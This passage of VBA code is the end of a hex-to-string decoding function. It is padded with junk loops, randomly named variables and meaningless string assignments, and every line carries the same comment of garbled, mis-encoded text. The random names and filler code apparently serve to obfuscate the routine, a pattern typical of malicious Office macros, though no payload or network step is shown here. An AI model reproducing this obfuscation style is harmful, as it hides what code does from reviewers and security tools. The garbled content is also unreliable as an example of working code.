Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 GruYCnkJ = LTrim(ZVmEwSfY) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim uexgnnUh As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For uexgnnUh = 0 To 3 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim TTxWkwog, pnrhRJay, GwQPJsKV As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 TTxWkwog = " CXCHGE " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 pnrhRJay = LTrim(TTxWkwog) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 GwQPJsKV = RTrim(pnrhRJay) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next uexgnnUh 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim NYOYZXeF, ZJVnslSi, JUetkyVH As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 NYOYZXeF = " COXSDA " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ZJVnslSi = LTrim(NYOYZXeF) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 JUetkyVH = RTrim(ZJVnslSi) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 apLObfmz = RTrim(GruYCnkJ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim RkUblskv As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For RkUblskv = 0 To 7 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim HjrlxgJg, zxHxVeMb, fZZbnJVP As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HjrlxgJg = " LMHLBO " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 zxHxVeMb = LTrim(HjrlxgJg) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 fZZbnJVP = RTrim(zxHxVeMb) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next RkUblskv 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim eoAdalMn, VpQvwvkA, MqWPHZGE As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 eoAdalMn = " ILHQKR " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 VpQvwvkA = LTrim(eoAdalMn) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 MqWPHZGE = RTrim(VpQvwvkA) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 tSYUgjyTUeojMcv = tSYUgjyTUeojMcv & uQdrZqcgGusmEB 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next UPEktusxicjMa 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim vLUjcBdM, lMJZKrPW, hMzFdiiX As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim wxUYZNsg As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For wxUYZNsg = 0 To 9 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim ydninZlZ, QioEDCpl, heHVNlzs As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ydninZlZ = " QSBXMU " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 QioEDCpl = LTrim(ydninZlZ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 heHVNlzs = RTrim(QioEDCpl) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next wxUYZNsg 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim oiliRZbe, cCbQPfQQ, NoFTlQmt As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 oiliRZbe = " MSPKBB " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 cCbQPfQQ = LTrim(oiliRZbe) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 NoFTlQmt = RTrim(cCbQPfQQ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 vLUjcBdM = " LQLDRL " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim MYgryIdq As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For MYgryIdq = 0 To 7 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim vPdljkLB, xmHuglbc, IAZpJiZI As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 vPdljkLB = " PEMLCQ " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 xmHuglbc = LTrim(vPdljkLB) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 IAZpJiZI = RTrim(xmHuglbc) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next MYgryIdq 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim HtQwFDwA, StWUoJLZ, UytLZXjE As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HtQwFDwA = " AHWHSD " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 StWUoJLZ = LTrim(HtQwFDwA) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 UytLZXjE = RTrim(StWUoJLZ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 lMJZKrPW = LTrim(vLUjcBdM) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim ILQdemdE As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For ILQdemdE = 0 To 2 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim ByCymulP, EzRnUAqZ, oCdWMCel As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 ByCymulP = " UOPWJX " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 EzRnUAqZ = LTrim(ByCymulP) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 oCdWMCel = RTrim(EzRnUAqZ) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next ILQdemdE 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim RDxHPwJM, uBQPlKng, wGHfbRSC As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 RDxHPwJM = " SDHJJF " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 uBQPlKng = LTrim(RDxHPwJM) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 wGHfbRSC = RTrim(uBQPlKng) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 hMzFdiiX = RTrim(lMJZKrPW) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim ZUfzmsqk As Integer 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 For ZUfzmsqk = 0 To 1 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim DokaybRB, BgrrUdIp, smHuoaQm As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DokaybRB = " KHCPJG " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 BgrrUdIp = LTrim(DokaybRB) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 smHuoaQm = RTrim(BgrrUdIp) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 DoEvents 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Next ZUfzmsqk 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 Dim wvwqyNjl, kbTcnrFl, dbHOWosm As String 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 wvwqyNjl = " JNDPWM " 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 kbTcnrFl = LTrim(wvwqyNjl) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 dbHOWosm = RTrim(kbTcnrFl) 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 HexToString = tSYUgjyTUeojMcv 'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04 End Function